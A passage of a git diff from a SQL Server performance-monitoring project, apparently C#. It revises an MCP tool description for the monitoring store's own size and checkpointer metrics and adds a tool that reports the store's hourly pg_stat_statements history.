-        + "Gets the monitoring store's OWN size and growth metrics — not a monitored SQL Server's. The service records an hourly self-metrics snapshot per store object: each hypertable, and each continuous aggregate (object_kind continuous_aggregate, sized through its materialization, because timescaledb_information.hypertables never lists a materialization), with total and pre/post-compression bytes and chunk count; the query-text and query-plan payload dimensions (object_kind dimension) with row counts; the named plain tables (object_kind table: collect.query_store_text, collect.query_store_plan_map, config.config_alert_log); two catch-alls with byte total and relation count, object_kind other (user-schema relations no named row accounts for) and object_kind system (catalogs and TimescaleDB bookkeeping); the whole store with the enabled-server count; and each TimescaleDB background job (object_kind background_job) with its last run duration, schedule interval, duration_vs_cadence_percent and run/failure totals. SUMMARY FIRST: by default it returns the store-level blocks (inventory, retention, job_history, checkpointer; below), the whole-store daily growth with the per-server ingest rate (daily growth / enabled servers, the number onboarding N servers multiplies; each daily_growth point carries metric_time = that day's last snapshot, span_days = 1 (a pair is left out unless its days are consecutive and its two snapshots are between 12 and 36 hours apart, except that today's partial point skips the 12-hour floor but not the 36-hour ceiling, so a hole in the list is missing snapshots, not zero growth) and partial = true for today, whose day is not over), and three ranked lists, each bounded by limit with its match count and truncated: objects (the largest byte-bearing objects), fastest_growing (by growth_bytes over the window) and background_jobs (jobs whose failures grew in the window first, then by duration_vs_cadence_percent). Every date and time in the response is UTC: day and delta_since are UTC dates, and each timestamp (metric_time, as_of, sweep_at and the others) is a UTC time, so a day is a UTC day, not the caller's or the server's local one. Each row carries its change over the window from delta_since instead of a per-object series. object_kind lists every object of one kind; object_name drills in: an exact name returns that object's daily series over days_back, a partial name lists the objects whose names contain it. The inventory block RECONCILES the newest sweep against its own pg_database_size: enumerated_percent is the share under named objects, attributed_percent the share any row accounts for, residual_bytes what no row explains, and reconciled is false, a finding, when that residual exceeds the larger of 1% and 64 MiB. bytes_by_kind answers 'what is driving growth' in one glance, and largest_unenumerated names, live, the biggest relations inside other. Each continuous_aggregate row carries, live from the catalog, compression_enabled and its refresh, compression and retention policy job ids. The retention block lists, live, every retention policy the rollup-coverage gate holds PAUSED, with the tier's actual span and how many times its drop_after horizon it is holding: a held policy looks healthy in the stored job telemetry and is a common cause of unexplained growth. Each daily point is that day's LAST snapshot, never its maximum or its mean, so a MAXIMUM question (a job's longest run that day) cannot be answered from it: the day's peak is DROPPED rather than smoothed, and the hourly sample misses a run longer than its offset altogether. The per-run route is timescaledb_information.job_history, which records a SUCCESSFUL run only while timescaledb.enable_job_execution_logging is on, and that setting defaults OFF (a FAILED run's row is written regardless of it), so on a store that never turned it on a maximum over it covers zero rows of successful runs. The job_history block in every response reports that setting's EFFECTIVE value and source: read it before treating an empty job_history as an answer. Whether YOU see rows is a second question, because job_history is ownership-filtered — its rows are visible only to members of the job's owner role or of the database owner, while the jobs and job_stats views show every role every job. So the block reports which role it read as (reader_role), that role's standing under the view's own predicate (visibility: All, Partial or None), the rows it observed over a fixed 24-hour window (rows_observed, newest_row_at) beside the jobs job_stats says started a run in it (jobs_run_in_window), and contradiction, true only when recording is on, a reader admitted to every job's history saw no rows, and jobs ran. In managed mode this tool reads as the least-privilege mcp role, which the view filters out. The role that can see is the service's owner, and the service's hourly self-metrics sweep runs as it and persists the owner's own count over the same 24-hour window, reported as owner_evidence (Observed, Stale, Filtered or Absent), owner_role, owner_observed_at, owner_rows_observed, owner_newest_row_at and owner_jobs_run_in_window: a measurement taken by the service's sweep rather than by this connection. TOAST UTILISATION (V137): each dimension row also carries toast_bytes, toast_live_bytes, toast_utilisation_pct and toast_utilisation_note, because plan XML and statement text do not live in the dimension's heap — they live in its TOAST file, and pg_total_relation_size says how big that file is and nothing about how FULL it is. Row churn leaves free space in that file that ordinary VACUUM returns to the table and never to the operating system. toast_utilisation_pct is toast_live_bytes / toast_bytes (one decimal), null when either is null or the file is empty; toast_live_bytes needs the pg_freespacemap extension, which the bundled store image ships and does not install, and without it the note says 'not measured' and NOTHING is computed from total_bytes or a tuple share. Under 50 % on a file over 10 GiB the note carries the reclaim path: --recompress-plan-dim --vacuum-full, at the MAINTAINER's word in a maintenance window, because VACUUM FULL takes an ACCESS EXCLUSIVE lock on the dimension and needs free disk for a full copy of the live data; the informational Store TOAST Slack self-alert fires daily on the same condition. This tool never reclaims anything by itself. Hypertable, aggregate, table and catch-all objects carry the four TOAST fields as null. CHECKPOINTER (V137): the checkpointer block is the store's OWN checkpointer over the last self-metrics interval: write_ms and sync_ms (milliseconds in its write and sync/fsync phases), requested (checkpoints started by WAL volume reaching max_wal_size, a base backup, or a CHECKPOINT statement rather than by checkpoint_timeout; the counter does not say which), interval_seconds (MEASURED between the two sweeps that bound it, not the assumed cadence), and the cumulative counters beside them. status says whether there IS an interval: Observed, NoPrevious (one row so far), Reset (a counter went backwards — a stats reset or restart between sweeps, so no delta is stated rather than a negative one), Restarted (the store's postmaster restarted between the two sweeps, postmaster_restarted true: PostgreSQL counts the shutdown checkpoint as requested and keeps the count across the restart, and that checkpoint's own write and sync phases land in the same counters, so no delta is stated and the self-alert judges neither arm; the next sweep's interval is judged normally), or Absent; postmaster_start_time is when the store's postmaster that produced the newest row started (null on a row older than V139). longest_sync_ms and longest_sync_at (V156) are the interval's longest single sync, found by a once-a-minute sample of the counter and stored on the newer row, and the UTC time of the sample that saw it; both are null on a row from before V156, in an hour with no sample, and whenever status is not Observed. timed (the checkpoints started by checkpoint_timeout inside the interval; cumulative_timed is the counter behind it) and checkpoint_count (timed plus requested, the checkpoints the interval held) are null unless status is Observed and both rows are from V140 or later, average_sync_ms_per_checkpoint is sync_ms divided by checkpoint_count (null when checkpoint_count is null or zero), and sync_bar_ms is the per-checkpoint bar in milliseconds that average is judged against, as longest_sync_ms is. The informational Store Checkpointer Pressure self-alert fires when the interval's average sync per checkpoint exceeds 10,000 ms, when its longest single sync does, or when requested exceeds 0, naming WAL sizing and refresh slicing as the levers. The checkpointer row is never an object row: it carries no bytes.")]
+        + "Gets the monitoring store's OWN size and growth metrics — not a monitored SQL Server's. The service records an hourly self-metrics snapshot per store object: each hypertable, and each continuous aggregate (object_kind continuous_aggregate, sized through its materialization, because timescaledb_information.hypertables never lists a materialization), with total and pre/post-compression bytes and chunk count; the query-text and query-plan payload dimensions (object_kind dimension) with estimated row counts (the planner reltuples estimate, null before the first vacuum or analyze); the named plain tables (object_kind table: collect.query_store_text, collect.query_store_plan_map, config.config_alert_log); two catch-alls with byte total and relation count, object_kind other (user-schema relations no named row accounts for) and object_kind system (catalogs and TimescaleDB bookkeeping); the whole store with the enabled-server count; and each TimescaleDB background job (object_kind background_job) with its last run duration, schedule interval, duration_vs_cadence_percent and run/failure totals. SUMMARY FIRST: by default it returns the store-level blocks (inventory, retention, job_history, checkpointer; below), the whole-store daily growth with the per-server ingest rate (daily growth / enabled servers, the number onboarding N servers multiplies; each daily_growth point carries metric_time = that day's last snapshot, span_days = 1 (a pair is left out unless its days are consecutive and its two snapshots are between 12 and 36 hours apart, except that today's partial point skips the 12-hour floor but not the 36-hour ceiling, so a hole in the list is missing snapshots, not zero growth) and partial = true for today, whose day is not over), and three ranked lists, each bounded by limit with its match count and truncated: objects (the largest byte-bearing objects), fastest_growing (by growth_bytes over the window) and background_jobs (jobs whose failures grew in the window first, then by duration_vs_cadence_percent). Every date and time in the response is UTC: day and delta_since are UTC dates, and each timestamp (metric_time, as_of, sweep_at and the others) is a UTC time, so a day is a UTC day, not the caller's or the server's local one. Each row carries its change over the window from delta_since instead of a per-object series. object_kind lists every object of one kind; object_name drills in: an exact name returns that object's daily series over days_back, a partial name lists the objects whose names contain it. The inventory block RECONCILES the newest sweep against its own pg_database_size: enumerated_percent is the share under named objects, attributed_percent the share any row accounts for, residual_bytes what no row explains, and reconciled is false, a finding, when that residual exceeds the larger of 1% and 64 MiB. bytes_by_kind answers 'what is driving growth' in one glance, and largest_unenumerated names, live, the biggest relations inside other. Each continuous_aggregate row carries, live from the catalog, compression_enabled and its refresh, compression and retention policy job ids. The retention block lists, live, every retention policy the rollup-coverage gate holds PAUSED, with the tier's actual span and how many times its drop_after horizon it is holding: a held policy looks healthy in the stored job telemetry and is a common cause of unexplained growth. Each daily point is that day's LAST snapshot, never its maximum or its mean, so a MAXIMUM question (a job's longest run that day) cannot be answered from it: the day's peak is DROPPED rather than smoothed, and the hourly sample misses a run longer than its offset altogether. The per-run route is timescaledb_information.job_history, which records a SUCCESSFUL run only while timescaledb.enable_job_execution_logging is on, and that setting defaults OFF (a FAILED run's row is written regardless of it), so on a store that never turned it on a maximum over it covers zero rows of successful runs. The job_history block in every response reports that setting's EFFECTIVE value and source: read it before treating an empty job_history as an answer. Whether YOU see rows is a second question, because job_history is ownership-filtered — its rows are visible only to members of the job's owner role or of the database owner, while the jobs and job_stats views show every role every job. So the block reports which role it read as (reader_role), that role's standing under the view's own predicate (visibility: All, Partial or None), the rows it observed over a fixed 24-hour window (rows_observed, newest_row_at) beside the jobs job_stats says started a run in it (jobs_run_in_window), and contradiction, true only when recording is on, a reader admitted to every job's history saw no rows, and jobs ran. In managed mode this tool reads as the least-privilege mcp role, which the view filters out. The role that can see is the service's owner, and the service's hourly self-metrics sweep runs as it and persists the owner's own count over the same 24-hour window, reported as owner_evidence (Observed, Stale, Filtered or Absent), owner_role, owner_observed_at, owner_rows_observed, owner_newest_row_at and owner_jobs_run_in_window: a measurement taken by the service's sweep rather than by this connection. TOAST UTILISATION (V137): each dimension row also carries toast_bytes, toast_live_bytes, toast_utilisation_pct and toast_utilisation_note, because plan XML and statement text do not live in the dimension's heap — they live in its TOAST file, and pg_total_relation_size says how big that file is and nothing about how FULL it is. Row churn leaves free space in that file that ordinary VACUUM returns to the table and never to the operating system. toast_utilisation_pct is toast_live_bytes / toast_bytes (one decimal), null when either is null or the file is empty; toast_live_bytes needs the pg_freespacemap extension, which the bundled store image ships and does not install, and without it the note says 'not measured' and NOTHING is computed from total_bytes or a tuple share. Under 50 % on a file over 10 GiB the note carries the reclaim path: --recompress-plan-dim --vacuum-full, at the MAINTAINER's word in a maintenance window, because VACUUM FULL takes an ACCESS EXCLUSIVE lock on the dimension and needs free disk for a full copy of the live data; the informational Store TOAST Slack self-alert fires daily on the same condition. This tool never reclaims anything by itself. Hypertable, aggregate, table and catch-all objects carry the four TOAST fields as null. CHECKPOINTER (V137): the checkpointer block is the store's OWN checkpointer over the last self-metrics interval: write_ms and sync_ms (milliseconds in its write and sync/fsync phases), requested (checkpoints started by WAL volume reaching max_wal_size, a base backup, or a CHECKPOINT statement rather than by checkpoint_timeout; the counter does not say which), interval_seconds (MEASURED between the two sweeps that bound it, not the assumed cadence), and the cumulative counters beside them. status says whether there IS an interval: Observed, NoPrevious (one row so far), Reset (a counter went backwards — a stats reset or restart between sweeps, so no delta is stated rather than a negative one), Restarted (the store's postmaster restarted between the two sweeps, postmaster_restarted true: PostgreSQL counts the shutdown checkpoint as requested and keeps the count across the restart, and that checkpoint's own write and sync phases land in the same counters, so no delta is stated and the self-alert judges neither arm; the next sweep's interval is judged normally), or Absent; postmaster_start_time is when the store's postmaster that produced the newest row started (null on a row older than V139). longest_sync_ms and longest_sync_at (V156) are the interval's longest single sync, found by a once-a-minute sample of the counter and stored on the newer row, and the UTC time of the sample that saw it; both are null on a row from before V156, in an hour with no sample, and whenever status is not Observed. timed (the checkpoints started by checkpoint_timeout inside the interval; cumulative_timed is the counter behind it) and checkpoint_count (timed plus requested, the checkpoints the interval held) are null unless status is Observed and both rows are from V140 or later, average_sync_ms_per_checkpoint is sync_ms divided by checkpoint_count (null when checkpoint_count is null or zero), and sync_bar_ms is the per-checkpoint bar in milliseconds that average is judged against, as longest_sync_ms is. The informational Store Checkpointer Pressure self-alert fires when the interval's average sync per checkpoint exceeds 10,000 ms, when its longest single sync does, or when requested exceeds 0, naming WAL sizing and refresh slicing as the levers. The checkpointer row is never an object row: it carries no bytes.")]
     public static async Task<string> GetStoreMetrics(
         NpgsqlDataSource postgres,
         [Description("Days of history the window deltas and series cover. Default 30; max 400 (the series' own retention).")] int days_back = 30,
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreQueryHistoryTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreQueryHistoryTools.cs
new file mode 100644
index 0000000000..9bfb4436b6
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreQueryHistoryTools.cs
@@ -0,0 +1,597 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using ModelContextProtocol.Server;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The store's OWN hourly statement history as an MCP read (#5097): what <c>collect.store_statement_history</c> holds,
+/// the per-hour change in each statement's calls and time that the service snapshots from the store's
+/// <c>pg_stat_statements</c>. <c>get_store_query_stats</c> answers "what is expensive since the counters were last reset";
+/// this answers "what changed, and when", across a store restart or a reset. Two modes: without <c>query_id</c> the top
+/// statements over the window by the time they spent, with the mean of the newest quarter of their hours against the
+/// rest; with <c>query_id</c> that statement's hourly series, oldest first. Both carry the window's capture summary, so
+/// a missing hour reads as "not captured" and not as "did not run".
+/// </summary>
+[McpServerToolType]
+public sealed class DarlingMcpStoreQueryHistoryTools
+{
+    /// <summary>The default window, in hours.</summary>
+    public const int DefaultHours = 24;
+
+    /// <summary>The longest window: the history's retention.</summary>
+    public const int MaxHours = StoreStatementHistory.RetentionDays * 24;
+
+    /// <summary>The default page size of the ranked mode.</summary>
+    public const int DefaultTop = 20;
+
+    /// <summary>The share of a statement's hours (the newest) that the "recent" mean covers.</summary>
+    public const double RecentShare = 0.25;
+
+    /// <summary>The fewest hours (first_seen hours not counted) a statement needs for the recent and earlier means to be given.</summary>
+    public const int MinHoursForSplit = 4;
+
+    private const string Table = "store_statement_history";
+
+    /// <summary>The coverage start: the earliest capture that read the extension, over all time, not only the window.</summary>
+    public const string EarliestCaptureSql = @"
+SELECT min(capture_time)
+FROM collect.store_statement_captures
+WHERE outcome IN ('" + StoreStatementHistory.OutcomeOk + "', '" + StoreStatementHistory.OutcomeRebaselined + "')";
+
+    /// <summary>Whether the rung exists, and what the capture table holds: all captures, and those that read the extension.</summary>
+    public const string ShapeSql = @"
+SELECT to_regclass('collect.store_statement_history') IS NOT NULL
+   AND to_regclass('collect.store_statement_captures') IS NOT NULL";
+
+    /// <summary>All captures, and those that actually read the extension.</summary>
+    public const string CaptureCountsSql = @"
+SELECT count(*)::bigint,
+       count(*) FILTER (WHERE outcome <> '" + StoreStatementHistory.OutcomePrecondition + @"')::bigint
+FROM collect.store_statement_captures";
+
+    /// <summary>The window's captures. <c>$1</c> the window start.</summary>
+    public const string CaptureSummarySql = @"
+SELECT count(*)::bigint,
+       count(*) FILTER (WHERE outcome = '" + StoreStatementHistory.OutcomeRebaselined + @"')::bigint,
+       count(*) FILTER (WHERE outcome = '" + StoreStatementHistory.OutcomePrecondition + @"')::bigint,
+       COALESCE(sum(dealloc_delta), 0)::bigint,
+       count(*) FILTER (WHERE statements_seen > statements_kept)::bigint
+FROM collect.store_statement_captures
+WHERE capture_time >= $1";
+
+    /// <summary>The ranked statements. <c>$1</c> window start, <c>$2</c> the role key or null, <c>$3</c> the fetch size.</summary>
+    public static readonly string RankedSql = $@"
+WITH h AS
+(
+    SELECT {DarlingMcpStoreQueryStatsTools.RoleKeySql} AS role_key,
+           f.queryid, f.capture_time, f.delta_calls, f.delta_total_exec_ms, f.delta_rows,
+           f.delta_shared_blks_hit, f.delta_shared_blks_read, f.delta_temp_blks_written, f.max_exec_ms,
+           f.first_seen, f.entry_restarted, f.reset_in_interval,
+           /* The recent-vs-earlier split ranks only the hours that are NOT first_seen: a first_seen hour can credit a statement's whole earlier life as one hour. */
+           row_number() OVER (PARTITION BY f.role_name, f.queryid, f.first_seen ORDER BY f.capture_time DESC) AS newest_rank,
+           count(*) OVER (PARTITION BY f.role_name, f.queryid, f.first_seen) AS split_count
+    FROM collect.store_statement_history AS f
+    WHERE f.capture_time >= $1
+),
+w AS
+(
+    SELECT h.*, (NOT h.first_seen AND h.newest_rank <= ceil(h.split_count * {RecentShare.ToString(CultureInfo.InvariantCulture)})) AS recent
+    FROM h
+    WHERE $2::text IS NULL OR h.role_key = $2
+)
+SELECT w.role_key,
+       w.queryid,
+       sum(w.delta_calls)::bigint AS calls,
+       sum(w.delta_total_exec_ms)::double precision AS total_exec_ms,
+       sum(w.delta_rows)::bigint AS rows_returned,
+       sum(w.delta_shared_blks_hit)::bigint AS shared_blks_hit,
+       sum(w.delta_shared_blks_read)::bigint AS shared_blks_read,
+       sum(w.delta_temp_blks_written)::bigint AS temp_blks_written,
+       max(w.max_exec_ms)::double precision AS max_exec_ms,
+       count(*)::integer AS hours_present,
+       sum(w.delta_calls) FILTER (WHERE w.recent)::bigint AS recent_calls,
+       sum(w.delta_total_exec_ms) FILTER (WHERE w.recent)::double precision AS recent_total_ms,
+       sum(w.delta_calls) FILTER (WHERE NOT w.recent AND NOT w.first_seen)::bigint AS earlier_calls,
+       sum(w.delta_total_exec_ms) FILTER (WHERE NOT w.recent AND NOT w.first_seen)::double precision AS earlier_total_ms,
+       (count(*) FILTER (WHERE w.first_seen))::integer AS first_seen_hours,
+       (count(*) FILTER (WHERE w.entry_restarted))::integer AS restarted_hours,
+       (count(*) FILTER (WHERE w.reset_in_interval))::integer AS reset_hours,
+       (count(*) FILTER (WHERE NOT w.first_seen))::integer AS split_hours
+FROM w
+GROUP BY w.role_key, w.queryid
+ORDER BY 4 DESC, w.queryid, w.role_key
+LIMIT $3";
+
+    /// <summary>One statement's series, oldest first. <c>$1</c> window start, <c>$2</c> the role key or null, <c>$3</c> the query id.</summary>
+    public static readonly string SeriesSql = $@"
+SELECT f.capture_time,
+       {DarlingMcpStoreQueryStatsTools.RoleKeySql} AS role_key,
+       f.interval_seconds,
+       f.delta_calls,
+       f.delta_total_exec_ms,
+       f.delta_rows,
+       f.delta_shared_blks_hit,
+       f.delta_shared_blks_read,
+       f.delta_temp_blks_written,
+       f.max_exec_ms,
+       f.first_seen,
+       f.entry_restarted,
+       f.reset_in_interval
+FROM collect.store_statement_history AS f
+WHERE f.queryid = $3
+AND   f.capture_time >= $1
+AND   ($2::text IS NULL OR ({DarlingMcpStoreQueryStatsTools.RoleKeySql}) = $2)
+ORDER BY f.capture_time, 2";
+
+    /// <summary>
+    /// The live text for some query ids. <c>$1</c> the ids. The shared sensitive-statement predicate sits on top of the
+    /// reader function's own filter (#4348): a second layer for a store whose function body is older than the pattern,
+    /// kept here because the diagnostics bundle reads statement text through this tool and its own text read applied it.
+    /// What it withholds arrives as <see cref="PgSensitiveStatementFilter.PlaceholderText"/>, and
+    /// <see cref="DarlingMcpStoreQueryStatsTools.ShownText"/> reads that as <see cref="StoreStatementStats.WithheldText"/>.
+    /// </summary>
+    /* max(query) GROUP BY queryid assumes a queryid carries the same text under every role (the same normalized statement); if two roles ever disagreed, one text is shown. The predicate wraps the chosen text, not each role's, so it is the shown text that is tested. */
+    public static readonly string TextSql = @"
+SELECT f.queryid, " + PgSensitiveStatementFilter.SqlPredicate("max(f.query)") + @"
+FROM " + PgSchemaGenerator.ConfigSchema + "." + StoreStatementStats.FunctionName + @"() AS f
+WHERE f.queryid = ANY($1)
+GROUP BY f.queryid";
+
+    /// <summary>What a statement's text reads when the reader is not usable now: the history is answered, only the text is withheld.</summary>
+    public const string TextUnavailable = "text unavailable";
+
+    /// <summary>What a statement's text reads when the extension no longer holds it.</summary>
+    public const string TextGone = "text no longer in pg_stat_statements";
+
+    [McpServerTool(Name = "get_store_query_history"), Description(
+        "The STORE's own SQL statements hour by hour (pg_stat_statements deltas the service snapshots), not a " +
+        "monitored server's queries. No server_name. Without query_id: top statements over hours_back by time " +
+        "spent, each with calls, mean ms and the newest quarter of its hours vs the rest. With query_id: that " +
+        "statement's hourly series, oldest first. Gated: status precondition before the first snapshot. " +
+        "<<GUIDE>> Reads collect.store_statement_history: once an hour the service records each statement's CHANGE in calls, total time, rows and blocks since the last snapshot (the 100 that spent the most time), so a statement's mean ms per call can be read hour by hour across a store restart, a pg_stat_statements_reset() or the nightly upgrade. get_store_query_stats answers what is expensive since the counters were last reset; this answers what changed and when. Without query_id: statements ranks by total time over hours_back, with calls, mean_ms (total/calls), the mean in the newest quarter of the hours the statement appears in (recent_mean_ms) against the earlier hours (earlier_mean_ms), and hours_present; truncated says more statements exist than top. With query_id (a string, as get_store_query_stats prints it): series, one row per hour, oldest first, with interval_seconds, calls, mean_ms, total_ms, rows, shared block hits and reads, temp blocks written, max_exec_ms and three flags: first_seen (the statement's first hour in the counters; can be an upper bound, so its figures may include earlier life), entry_restarted (the extension evicted and re-admitted the entry, so the hour is a lower bound) and reset_in_interval (the counters were reset inside the hour). max_exec_ms is the extension's cumulative maximum, not the hour's. captures says how many snapshots the window holds, how many were a fresh baseline (rebaselined: no history written for that hour), how many could not read the extension (precondition), the evictions in the window (dealloc_delta_total) and the hours whose cap hid statements (capped_hours): an hour with no row may be an hour not captured. role is owner, admin, viewer or mcp; the text is the live normalized text, or says it is gone. In ranked mode first_seen_hours, restarted_hours and reset_hours count the flagged hours behind each statement's figures (calls and total_ms include them; restarted hours are lower bounds); first_seen hours are left out of recent_mean_ms and earlier_mean_ms, which are null under 4 other hours. effective_start, window_truncated and truncation_note say where the history starts relative to hours_back. History is kept 90 days and taken hourly. Answers status precondition, with the remedy, when the store predates the history, holds no snapshot yet, or when every snapshot so far could not read the extension. When history exists but the reader is not usable now, the history is still answered and only the text is withheld: query reads 'text unavailable' and text_note says why. No server_name: the store is the subject.")]
+    public static Task<string> GetStoreQueryHistory(
+        NpgsqlDataSource postgres,
+        [Description("One statement's id, as get_store_query_stats prints it. Omit to rank the statements.")] string? query_id = null,
+        [Description("Only statements run by this role: owner, admin, viewer or mcp. Omit for every role.")] string? role = null,
+        [Description("Hours of history. Default 24, max 2160 (90 days).")] int hours_back = DefaultHours,
+        [Description("How many statements when ranking. Default 20, max 1000.")] int top = DefaultTop,
+        ILogger? logger = null,
+        CancellationToken cancellationToken = default) =>
+        GetStoreQueryHistoryCoreAsync(postgres, query_id, role, hours_back, top, uncutText: false, logger, cancellationToken);
+
+    /// <summary>
+    /// The diagnostics bundle's read (#5097): the ranked answer, every statement's <c>query</c> whole. The bundle aliases the
+    /// text first and cuts it afterwards, so a name that straddles the tool's own cut is never left as a prefix. Not a tool:
+    /// the MCP surface, its parameters and its output are the ones <see cref="GetStoreQueryHistory"/> has.
+    /// </summary>
+    internal static Task<string> GetStoreQueryHistoryUncut(NpgsqlDataSource postgres, int hours_back, int top, CancellationToken cancellationToken) =>
+        GetStoreQueryHistoryCoreAsync(postgres, query_id: null, role: null, hours_back, top, uncutText: true, logger: null, cancellationToken);
+
+    private static async Task<string> GetStoreQueryHistoryCoreAsync(
+        NpgsqlDataSource postgres,
+        string? query_id,
+        string? role,
+        int hours_back,
+        int top,
+        bool uncutText,
+        ILogger? logger,
+        CancellationToken cancellationToken)
+    {
+        var invalidTop = McpHelpers.ValidateTop(top, "top");
+        if (invalidTop != null)
+        {
+            return invalidTop;
+        }
+
+        /* Checked here, not by McpHelpers.ValidateHoursBack: the shared validator caps at 7 days and this history reaches back 90. */
+        if (hours_back <= 0 || hours_back > MaxHours)
+        {
+            return McpHelpers.Refusal("hours_back",
+                $"Invalid hours_back value '{hours_back}'. Must be a positive integer (1-{MaxHours.ToString(CultureInfo.InvariantCulture)}).");
+        }
+
+        string? roleKey = null;
+        if (!string.IsNullOrWhiteSpace(role))
+        {
+            if (!DarlingMcpStoreQueryStatsTools.RoleIdentities.ContainsKey(role.Trim()))
+            {
+                return McpHelpers.Refusal("role",
+                    $"Invalid role '{role}'. Use one of: {string.Join(", ", DarlingMcpStoreQueryStatsTools.RoleIdentities.Keys)}, or omit it for every role.");
+            }
+
+            roleKey = role.Trim().ToLowerInvariant();
+        }
+
+        long? queryId = null;
+        if (!string.IsNullOrWhiteSpace(query_id))
+        {
+            if (!long.TryParse(query_id.Trim(), NumberStyles.AllowLeadingSign, CultureInfo.InvariantCulture, out var parsed))
+            {
+                return McpHelpers.Refusal("query_id",
+                    $"Invalid query_id '{query_id}'. Use the query_id get_store_query_history or get_store_query_stats printed (a 64-bit integer, as text).");
+            }
+
+            queryId = parsed;
+        }
+
+        try
+        {
+            var windowStart = DateTime.SpecifyKind(DateTime.UtcNow.AddHours(-hours_back), DateTimeKind.Unspecified);
+
+            var gate = await PreconditionAsync(postgres, cancellationToken);
+            if (gate.Message is { } message)
+            {
+                return McpHelpers.Status("precondition", message);
+            }
+
+            var captures = await ReadCapturesAsync(postgres, windowStart, cancellationToken);
+
+            if (queryId is long id)
+            {
+                var series = await ReadSeriesAsync(postgres, windowStart, roleKey, id, cancellationToken);
+                if (series.Count == 0)
+                {
+                    return await EmptyAsync(postgres, "No history for this query_id in the window: it was not among the statements that spent the most time in any captured hour, or was not run.", windowStart, captures, logger, cancellationToken);
+                }
+
+                var text = gate.TextUsable ? await ReadTextAsync(postgres, [id], cancellationToken) : null;
+                var notice = await ReadNoticeAsync(postgres, windowStart, emptyAnswer: false, logger, cancellationToken);
+                var json = JsonSerializer.Serialize(new
+                {
+                    mode = "series",
+                    hours_back,
+                    effective_start = notice.EffectiveStart,
+                    window_truncated = notice.WindowTruncated,
+                    truncation_note = notice.TruncationNote,
+                    role = roleKey,
+                    query_id = id.ToString(CultureInfo.InvariantCulture),
+                    query = ShownQuery(text, id, gate.TextUsable, uncutText),
+                    text_note = gate.TextNote,
+                    hours_returned = series.Count,
+                    captures = CapturesShape(captures),
+                    series = series.Select(s => new
+                    {
+                        capture_time = s.CaptureTime.ToString("O", CultureInfo.InvariantCulture),
+                        role = s.Role,
+                        interval_seconds = s.IntervalSeconds,
+                        calls = s.Calls,
+                        mean_ms = Mean(s.TotalMs, s.Calls),
+                        total_ms = Round(s.TotalMs),
+                        rows = s.Rows,
+                        shared_blks_hit = s.BlksHit,
+                        shared_blks_read = s.BlksRead,
+                        temp_blks_written = s.TempWritten,
+                        max_exec_ms = s.MaxMs is double m ? Round(m) : (double?)null,
+                        first_seen = s.FirstSeen,
+                        entry_restarted = s.EntryRestarted,
+                        reset_in_interval = s.ResetInInterval,
+                    }),
+                    note = Note,
+                }, McpHelpers.JsonOptions);
+                return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
+            }
+
+            var fetched = await ReadRankedAsync(postgres, windowStart, roleKey, top + 1, cancellationToken);
+            if (fetched.Count == 0)
+            {
+                return await EmptyAsync(postgres, "No statement history in the window.", windowStart, captures, logger, cancellationToken);
+            }
+
+            var (page, truncated) = McpHelpers.BoundPage(fetched, top);
+            var texts = gate.TextUsable ? await ReadTextAsync(postgres, page.Select(p => p.QueryId).Distinct().ToArray(), cancellationToken) : null;
+            var rankedNotice = await ReadNoticeAsync(postgres, windowStart, emptyAnswer: false, logger, cancellationToken);
+            var rankedJson = JsonSerializer.Serialize(new
+            {
+                mode = "ranked",
+                hours_back,
+                effective_start = rankedNotice.EffectiveStart,
+                window_truncated = rankedNotice.WindowTruncated,
+                truncation_note = rankedNotice.TruncationNote,
+                role = roleKey,
+                top,
+                text_note = gate.TextNote,
+                statements_returned = page.Count,
+                truncated,
+                captures = CapturesShape(captures),
+                statements = page.Select(s => new
+                {
+                    role = s.Role,
+                    /* int8 goes out as a STRING (the rule get_store_query_stats follows): a JSON number is rounded by JavaScript consumers. */
+                    query_id = s.QueryId.ToString(CultureInfo.InvariantCulture),
+                    calls = s.Calls,
+                    total_ms = Round(s.TotalMs),
+                    mean_ms = Mean(s.TotalMs, s.Calls),
+                    recent_mean_ms = s.SplitHours < MinHoursForSplit ? null : Mean(s.RecentTotalMs, s.RecentCalls),
+                    earlier_mean_ms = s.SplitHours < MinHoursForSplit ? null : Mean(s.EarlierTotalMs, s.EarlierCalls),
+                    hours_present = s.HoursPresent,
+                    first_seen_hours = s.FirstSeenHours,
+                    restarted_hours = s.RestartedHours,
+                    reset_hours = s.ResetHours,
+                    rows = s.Rows,
+                    shared_blks_hit = s.BlksHit,
+                    shared_blks_read = s.BlksRead,
+                    temp_blks_written = s.TempWritten,
+                    max_exec_ms = s.MaxMs is double m ? Round(m) : (double?)null,
+                    query = ShownQuery(texts, s.QueryId, gate.TextUsable, uncutText),
+                }),
+                note = Note,
+            }, McpHelpers.JsonOptions);
+            return rankedNotice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(rankedJson) : rankedJson;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_store_query_history", ex);
+        }
+    }
+
+    private const string Note =
+        "Each row is the CHANGE since the previous hourly snapshot, so it survives a restart or a reset; the extension keeps at most the 100 statements that spent the most time in an hour, so a cheap statement can be missing from an hour it ran in. max_exec_ms is the extension's cumulative maximum, not the hour's. captures.rebaselined counts hours with no history because the counters could not be trusted. History is kept 90 days and taken hourly.";
+
+    /// <summary>
+    /// A statement's text as the answer shows it. <paramref name="uncut"/> keeps it whole (redacted, not compacted) for the
+    /// diagnostics bundle, which aliases it before it cuts it (<see cref="GetStoreQueryHistoryUncut"/>).
+    /// </summary>
+    private static string ShownQuery(IReadOnlyDictionary<long, string>? texts, long id, bool textUsable, bool uncut)
+    {
